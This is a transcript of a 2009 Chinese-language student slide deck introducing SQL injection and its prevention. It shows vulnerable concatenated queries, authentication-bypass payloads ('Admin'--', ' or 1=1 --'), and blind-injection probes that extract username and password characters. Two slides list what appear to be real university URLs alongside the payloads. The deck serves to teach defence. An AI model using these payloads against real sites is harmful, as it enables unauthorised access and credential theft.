sql injection an4976015 洪志修 2009/12/30. outline sql? sql injection? 防範

15
SQL Injection AN4976015 洪洪洪 2009/12/30

Post on 21-Dec-2015

234 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

SQL Injection

AN4976015 洪志修

2009/12/30

Page 2: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

Outline

• SQL?

• SQL Injection?

• 防範

Page 3: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

何謂 SQL

• 結構化查詢語言 (Structured Query Language)

• 用於資料庫中的標準數據查詢語言

Page 4: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

資料庫架構

表格名

欄位名

Page 5: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

狀況一

• asp,php

var sql ="select * from userswhere username=' "+username+" 'and password=' "+password+" '";

表格名

條件式

Page 6: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

Opps!!

• username --> Admin'--• password --> 任意

select * from users where username='Admin'-- 'and password='abc'

註解

Page 7: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

Opps!!

• username --> 任意• password --> 任意 ' or 1=1 --

select * from users where username='abc' and password='abc' or 1=1 --

Page 8: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

• http://140.116.165.58/ifx/class.php

Page 9: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

狀況二• …../XXX.php?id=53

sql ="select * from ann where aid=' "+id+" '";

usersusername password

Alex abcd

B1234 1234

… …

Page 10: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

../X.php?id=53 and (select top 1 len(username) from users)>5

../X.php?id=53 and (select top 1 asc(mid(username,1,1)) from users)>5

../X.php?id=53 and (select top 1 len(password) from users)>5...

Page 11: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

• and ord(mid(user(),1,1))=114

• http://www.csie.ncku.edu.tw/new/nckucsie/index.php?content=NEWS&ID=547

Page 12: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

防範• 攻擊前提

• 需要知道或猜到表名• SQL帳號權限過高 ( 攻擊系統 )• 無過濾特殊輸入

Page 13: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

防範

• 使用較低的 SQL權限• 過濾非法輸入• 使用不易猜到的表名• 避免系統原碼外洩

Page 14: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

資料來源• WIKI• http://www.1keydata.com/tw/sql/sql.html• http://blog.zol.com.cn/356/article_355906.html• http://tnrc.ncku.edu.tw/course/91/17-SQL.ppt

Page 15: SQL Injection AN4976015 洪志修 2009/12/30. Outline SQL? SQL Injection? 防範

~ Thanks for your listening ~